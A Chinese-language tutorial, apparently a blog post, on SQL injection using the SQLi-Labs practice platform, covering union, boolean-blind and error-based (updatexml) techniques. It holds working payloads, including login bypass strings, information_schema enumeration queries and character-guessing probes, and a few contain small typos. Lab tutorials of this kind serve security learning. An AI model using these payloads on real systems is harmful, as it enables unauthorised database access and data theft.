SQL注入
1.SQL注入是将恶意的SQL命令输入到web表单,URL,页面请求查询字符串中,(其实就是我们能够输入数据的地方,这种地方有可能和数据库进行交互)然后将该字符串传递给数据库服务器进行执行,最终达到欺骗服务器的目的。
2.我们要根据情况灵活的构造SQL注入语句—很重要
首先先搭建一个专门练习SQL注入的平台–SQLi-Labs
https://github.com/Audi-1/sqli-labs
用PHPstudy搭建即可。
将文件解压缩到WWW目录下,再将WWW\sqli-labs-master\sql-connections\db-creds.inc中的用户名和密码改成root,然后进入
点击Setup,将数据导入数据库即可。
接下来正式进入SQL注入阶段:
下图是我自己搭建的练习SQL注入的网站
再次声明–一定要灵活的构造SQL语句
文章开篇我说了SQL注入的原理,所以,SQL注入应该满足两个条件:
1.输入的内容是用户可以控制的
2.传入的参数被拼接到SQL语句,并带入数据库查询。
下图是PHP语句:注意–
$sql="SELECT * FROM users WHERE id =$id LIMIT 0,1";
这是less-2源码相应的路径WWW\sqli-labs-master\Less-2\index.php
这行代码说明传入的参数是id可能是可控的,并且可能可以带入数据库查询,可能拼接SQL语句进行攻击。
进行操作之前解释一下几个SQL和PHP相互连接的语句,并且给出一些例子。
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"
等价于
SELECT * FROM users WHERE id=$id LIMIT 0,1
构造SQL语句的时候我们按照这个理解就行
解释:
SELECT 字段名 FROM 库名.表名(也可以只写表名,前提是在当前的库内,学过任何一种编程语言的人都用该明白)
SELECT 字段名 FROM 库名.表名 WHERE 已知条件='已知条件的值'
SELECT 字段名 FROM 库名.表名 WHERE 已知a条件='已知条件a的值' AND 已知b条件='已知条件b的值'
SELECT * FROM 表名.库名;
LIMIT limit a,b a表示纪录开始的位置,从0开始;b表示提取b条纪录
LIMIT 0,1就表示只取id=$id这一条纪录
例子:为了更了解后台代码是怎么被我们输入的代码改变的
1.PHP万能密码->顾名思义,万能密码,首先我们必须知道用户名。
在假定我们现在已经知道了用户名为admin
PHP语句:
SELECT * FROM users WHERE username='$username' AND password ='$password'
我们输入admin' or 1 # 等价于
SELECT * FROM users WHERE username ='admin' or 1 # ' AND password='$password' 等价于
SELECT * FROM users WHERE username ='admin'
这样就返回username=admin 的这一条记录
我们输入' or 1 # 等价于
SELECT * FROM users WHERE username ='' or 1 # ' AND password='$password' 等价于
SELECT * FROM users WHERE username ='' or 1 (此条语句的值永远是真的)等价于
SELECT * FROM users 反回整个表单
上面的内容可以自己在数据库里面试一试。会得到你想要的结果。上面的代码内容只是简单地对内部PHP的语句有一些基本的了解,判断的逻辑,很基本。
提前给出一些常见的搭配。我目前学习阶段用的是MySQL数据库。
在进行SQL注入漏洞之前我们应该判断是否存在SQL注入漏洞,就是判断是否满足,我们能不能控制输入的内容,输入的内容能不能传入数据库。
我们依次进行如下判断:
输入 id=1 返回正常页面
输入id=2 返回正常页面
输入id=1 and 1=1 返回正常页面
输入id=1 and 1=2 返回错误页面 因为1=2的值是假的
由此判断,此处存在SQL注入漏洞。为什么这么输入就说明存在SQL注入漏洞呢?
因为出现了错误的页面,就说明我们输入的数据被带进了数据库中。
备注:
这个是数据库表单的结构,注意,这个不是我展示的实验里面的真实表单,仅仅是为了看清结构,才放到这里。
使用order by num查询该数据表的字段数量,num的值1-99
当执行order by 4 的时候出现了错误的页面说明,select查询字段有三个。
可能有些人对这个结果有疑惑。
补充:order by 是对结果集进行的一次排序,默认是升序排列。
order by 字段名/字段名的小名,从左到右依次升高。
回到我们搭建的平台,order by 4 出现错误,说明一共有3个字段。
因为该注入点,有回显(将ID对应的内容,通过查询数据库输入的页面),所以判断存在Union注入(联合注入)
Union注入的步骤:
1.判断注入点
2.查询数据库名
3.查询数据库中的所有表名
4.查询表中的所有字段名
5.查询字段中的数据
union select 1,1,1和id=1的页面相同,因为只返回第一个select的结果。这是为什么呢?
还记得我们之前看的源代码嘛!有limit 0,1的限制,所以就只返回这个界面。而后台真实的情况看下面的例子中的图片。
补充:union
1.合并两个或者多个select结果
2.union内部的每个select语句必须有相同数量的列,列必须有相同数量的类型
3.union结果集中的列名总是等于union中第一个select语句中的列名
4.union只会选取不同的值
例子:
数据库中真实的情况:
因为第一个select的语句是假的所就只反回第二个select语句的结果。
但是注意,当我们在进行SQL注入漏洞的时候union select 1,2,3一定是不一样的数字,这样有助于我们判断在什么位置可以输入我们的SQL语句,即判断注入点。
如下图,我们让第一个select的语句是假的,所以就反回第二个语句的结果。由此可见,2和3的位置我们可以进行进一步的操作。
在这里补充一下需要用到的函数:
database():反回当前网站使用的数据库名
version():返回当前MySQL的版本
user():返回当前MySQL的用户
如下图在2和3的位置上输入我们的恶意代码,获得当前使用的数据库名和当前的用户名。
补充一下和MySQL数据库相关的一些知识:
MySQL中有一个information_schema的数据库,该数据库默认存放。
该数据库中有三个表名
SCHEMATA–存储用户创建的所有数据库的库名,该字段为–SCHEMATA_NAME
TABLES–存储该用户创建的所有数据库的库名和表名,字段分别为TABLE_SCHEMA和TABLE_NAME
COLUMNS–存储用户创建的所有数据库的库名,表名和字段名,分别为TABLE_SCHEMA,TABLE_NAME和COLUMN_NAME
知道上面的结果之后,在URL中再2的位置上,输入下面的代码。3的位置也一样。
(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1)
如果不加limit限制,无法显示多行,和源码有关。
limit改为 limit 1,1 就可以看见第二个表名
接下来查询表中的字段:
以users表为例!输入:
select column_name from information_schema.columns where table_name=‘users’ and table_schema=‘security’ limit 0,1
为什么要有两个条件,可能别的数据库也有一样的表名,所以and相连
字段一:
字段二:
字段三:
接下来获取表中的字段的数据:
以security.users中的id字段为例,输入:
select id from security.users limit 0,1
Boolean注入攻击:
PHP代码:
注意id的值被单引号引上了,在进行注入的时候需要把单引号注释掉。
(可以把注入的类型简单地分为有单引号的和没有单引号的两种类型)
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
等价于:
SELECT * FROM users WHERE id='$id' LIMIT 0,1;
当我们输入错误的条件的时候仍然显示正确的画面
id=1 and 1=2
而且没有显示位和数据库的任何信息
当我们输入id=2’的时候页面出现了错误,提示我们输入的格式有错误,可能是因为我们没有注释掉单引号
说明我们输入的数据被带进数据库并执行了,此处存在SQL注入漏洞
这种什么也没有的,不显示数据库中的任何信息,不是union注入,仅仅显示出成功或不成功的SQL注入类型可以考虑为Boolean注入。
再进行一些尝试(此处的尝试要注释掉单引号)
输入id=1’ and 1=1 #
输入id=1’ and 1=2 #
没有显示什么有用的东西
通过以上种种的实验,我们可以尝试一下Boolean注入。
1.什么是Boolean注入?
构造SQL判断语句,通过查看页面的返回结果来推测哪些SQL判断条件是成立的,以此获取数据库中的数据。
步骤:
1.判断数据库名长度
2.查出数据库名
3.查出表名
4.查出字段名
注意:这种有单引号的类似于字符串型的注入,一定要注释掉单引号
输入:’ and length(database())>=1–+
显示正确
当我们判断数据库名长度为8的时候,结果显示正确,但是,当我们判断数据库名的长度为9的时候,结果显示错误,所以我们判断,这个数据库名的长度8个字符的长度
补充:
length()–返回文本字段中值的长度
–+是注释符
#也是注释符 对应的十六位进制数 %23
判断数据库名的长度是8个字符串的长度以后,猜解是哪八个字符
输入:
’ and substr(database(),1,1)=‘s’ --+
这一看第一个字母就是猜对了。接着就一步一步猜,剩下的7位。
补充:
数据库的库名不区分大小写a-z
数字在0-9
外加一些特殊的字符
substr(string,start,length) 返回字符串的一部分。值的说明的是,从1开始排序。
因为之前我们知道了数据库的名字security,节省篇幅,就当做知道了数据库的名字。
接下来进行表名的猜解
输入:
’ and substr((select table_name from information_schema where table_schema=‘security’ limit 0,1),1,1)=‘e’ --+
以此类推猜解表名和字段名
这个地方可以利用bp爆破
报错注入:
当我们输入id=1’的时候,因为一个单引号引起的错误。程序将错误信息直接输入到页面上。即错误信息的回显。我们就想尽办法让错误信息中显示我们想要的内容。而且这种报错注入有多种方式。只介绍一种。
输入:
’ and updatexml(1,concat(0x7e,(select user())0x7e),1)–+
0x7e ~
补充:
updatexml(XML_document, XPath_string, new_value)–改变文中符合条件的节点的值
concat(string1, string2, …, stringX)–连接两个或多个字符串
继续利用这个函数来获得数据库名,表名,字段,及字段的值。
输入:(替换部分和union注入相同)
获取库名:’ and updatexml(1,concat(0x7e,(database()),0x7e),1)–+
获取表名:’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e),1)–+
获取下一个表名。将limit 0,1 改成limit 1,1 就行了
获取字段名:
输入和union查询时候一样代码,就可以。
获取字段的值:
输入和union查询时候一样代码,就可以。